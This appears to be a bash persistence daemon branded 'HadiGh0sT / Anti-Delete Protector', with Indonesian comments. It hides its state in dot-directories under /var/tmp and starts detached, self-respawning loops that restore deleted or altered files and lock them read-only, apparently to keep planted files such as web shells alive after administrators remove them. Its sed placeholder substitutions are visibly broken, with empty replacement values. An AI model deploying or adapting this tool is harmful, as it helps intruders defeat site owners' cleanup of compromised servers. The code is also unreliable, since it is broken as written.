#!/bin/bash
# Watchdog Daemon — HadiGh0sT / Anti-Delete Protector
# Berdiri sendiri: tidak butuh PHP untuk berjalan
PID_FILE="/var/tmp/.file_protector/pids.list"
PROTECTED_FILES="/var/tmp/.file_protector/protected.list"
CONFIG_DIR="/var/tmp/.file_protector"
BACKUP_DIR="/var/tmp/.file_protector_backups"
LOG_FILE="/var/tmp/.file_protector.log"
WATCHDOG_PID_FILE="/var/tmp/.file_protector/watchdog.pid"
log_wd() {
echo "$(date '+%Y-%m-%d %H:%M:%S') [WATCHDOG] $1" >> "$LOG_FILE"
}
# Simpan PID sendiri
echo $$ > "$WATCHDOG_PID_FILE"
log_wd "Daemon started (PID: $$)"
# Fungsi: rebuild script proteksi dari template inline
rebuild_protect_script() {
local file_path="$1"
local fid="$2"
local last_good_backup="$3"
local checksum_file="$4"
local script_path="$5"
cat > "$script_path" << 'INNER_SCRIPT_EOF'
#!/bin/bash
PROTECT_FILE="__PROTECT_FILE__"
INITIAL_BACKUP="__INITIAL__"
LAST_GOOD_BACKUP="__LASTGOOD__"
CHECKSUM_FILE="__CHECKSUM__"
LOG_FILE="__LOG__"
log_msg() { echo "$(date '+%Y-%m-%d %H:%M:%S') [$1] $2" >> "$LOG_FILE"; }
verify_restore() {
local target="$1" src="$2" reason="$3"
local dir_path; dir_path=$(dirname "$target")
log_msg "RESTORE" "$reason -> $target"
[ ! -d "$dir_path" ] && mkdir -p "$dir_path" 2>/dev/null
chmod 644 "$target" 2>/dev/null
cp -p "$src" "$target" 2>/dev/null
if [ $? -eq 0 ] && [ -f "$target" ] && [ "$(stat -c %s "$target" 2>/dev/null)" -gt 0 ]; then
chmod 444 "$target" 2>/dev/null
md5sum "$target" 2>/dev/null | cut -d' ' -f1 > "$CHECKSUM_FILE"
log_msg "SUCCESS" "Restored: $target"
else
log_msg "FAILED" "Restore gagal: $target"
fi
}
repair_backup() {
local bak="$1" ref="$2" label="$3"
if [ ! -f "$bak" ] || [ "$(stat -c %s "$bak" 2>/dev/null || echo 0)" -eq 0 ]; then
log_msg "WARNING" "Backup $label hilang/kosong"
if [ -f "$ref" ] && [ "$(stat -c %s "$ref" 2>/dev/null || echo 0)" -gt 0 ]; then
chmod 644 "$bak" 2>/dev/null; cp -p "$ref" "$bak" 2>/dev/null; chmod 444 "$bak" 2>/dev/null
log_msg "SUCCESS" "Backup $label rebuilt dari: $ref"
elif [ -f "$PROTECT_FILE" ] && [ "$(stat -c %s "$PROTECT_FILE" 2>/dev/null || echo 0)" -gt 0 ]; then
chmod 644 "$bak" 2>/dev/null; cp -p "$PROTECT_FILE" "$bak" 2>/dev/null; chmod 444 "$bak" 2>/dev/null
log_msg "SUCCESS" "Backup $label rebuilt dari file asli"
fi
fi
}
log_msg "INFO" "Loop restart untuk: $PROTECT_FILE (PID: $$)"
while true; do
sleep 7
if [ ! -e "$PROTECT_FILE" ]; then
if [ -f "$LAST_GOOD_BACKUP" ] && [ "$(stat -c %s "$LAST_GOOD_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "file_deleted"
elif [ -f "$INITIAL_BACKUP" ] && [ "$(stat -c %s "$INITIAL_BACKUP" 2>/dev/null || echo 0)" -gt 0 ]; then
verify_restore "$PROTECT_FILE" "$INITIAL_BACKUP" "file_deleted_fallback"
fi
continue
fi
cp=$(stat -c %a "$PROTECT_FILE" 2>/dev/null)
[[ ! "$cp" =~ ^(444|400)$ ]] && chmod 444 "$PROTECT_FILE" 2>/dev/null
if [ -f "$CHECKSUM_FILE" ]; then
cc=$(md5sum "$PROTECT_FILE" 2>/dev/null | cut -d' ' -f1)
sc=$(cat "$CHECKSUM_FILE" 2>/dev/null)
[ -n "$cc" ] && [ -n "$sc" ] && [ "$cc" != "$sc" ] && verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "content_modified"
fi
repair_backup "$INITIAL_BACKUP" "$LAST_GOOD_BACKUP" "initial"
repair_backup "$LAST_GOOD_BACKUP" "$INITIAL_BACKUP" "lastgood"
done
INNER_SCRIPT_EOF
# Ganti placeholder dengan nilai aktual
local initial_backup="$BACKUP_DIR/${fid}.initial"
sed -i "s|__PROTECT_FILE__|\|g" "$script_path"
sed -i "s|__INITIAL__|\|g" "$script_path"
sed -i "s|__LASTGOOD__|\|g" "$script_path"
sed -i "s|__CHECKSUM__|\|g" "$script_path"
sed -i "s|__LOG__|\|g" "$script_path"
chmod 755 "$script_path"
}
# Fungsi spawn proses protection (tanpa PHP)
spawn_protect() {
local script_path="$1"
local file_path="$2"
# Double fork agar terlepas dari watchdog session
(
setsid bash "$script_path" </dev/null >/dev/null 2>&1 &
local child_pid=$!
disown $child_pid
echo $child_pid
)
}
while true; do
sleep 15
[ ! -s "$PROTECTED_FILES" ] && continue
while IFS= read -r file_path; do
[ -z "$file_path" ] && continue
pid_line=$(grep ":$file_path:" "$PID_FILE" 2>/dev/null | head -1)
[ -z "$pid_line" ] && continue
old_pid=$(echo "$pid_line" | cut -d: -f1)
script_path=$(echo "$pid_line" | cut -d: -f6)
# Cek apakah proses masih hidup
if ps -p "$old_pid" >/dev/null 2>&1; then
continue
fi
# Proses mati — rebuild script jika perlu, lalu restart
fid="file_$(echo -n "$file_path" | md5sum | cut -c1-8)"
last_good_backup="$BACKUP_DIR/${fid}.lastgood"
checksum_file="$CONFIG_DIR/${fid}.checksum"
new_script="$CONFIG_DIR/protect_${fid}.sh"
if [ ! -f "$new_script" ] || [ ! -s "$new_script" ]; then
log_wd "Rebuild script untuk: $file_path"
rebuild_protect_script "$file_path" "$fid" "$last_good_backup" "$checksum_file" "$new_script"
fi
[ ! -f "$new_script" ] && log_wd "ERROR: Gagal rebuild script $new_script" && continue
# Spawn baru
new_pid=$(spawn_protect "$new_script" "$file_path")
sleep 0.3
# Verifikasi
if [ -n "$new_pid" ] && ps -p "$new_pid" >/dev/null 2>&1; then
# Update PID_FILE
grep -v ":$file_path:" "$PID_FILE" > "$PID_FILE.tmp" 2>/dev/null && mv "$PID_FILE.tmp" "$PID_FILE"
echo "$new_pid:$file_path::$last_good_backup:bash_loop:$new_script" >> "$PID_FILE"
log_wd "Restart OK: $file_path (old=$old_pid -> new=$new_pid)"
else
log_wd "WARNING: Restart mungkin gagal untuk $file_path (cek manual)"
fi
done < "$PROTECTED_FILES"
done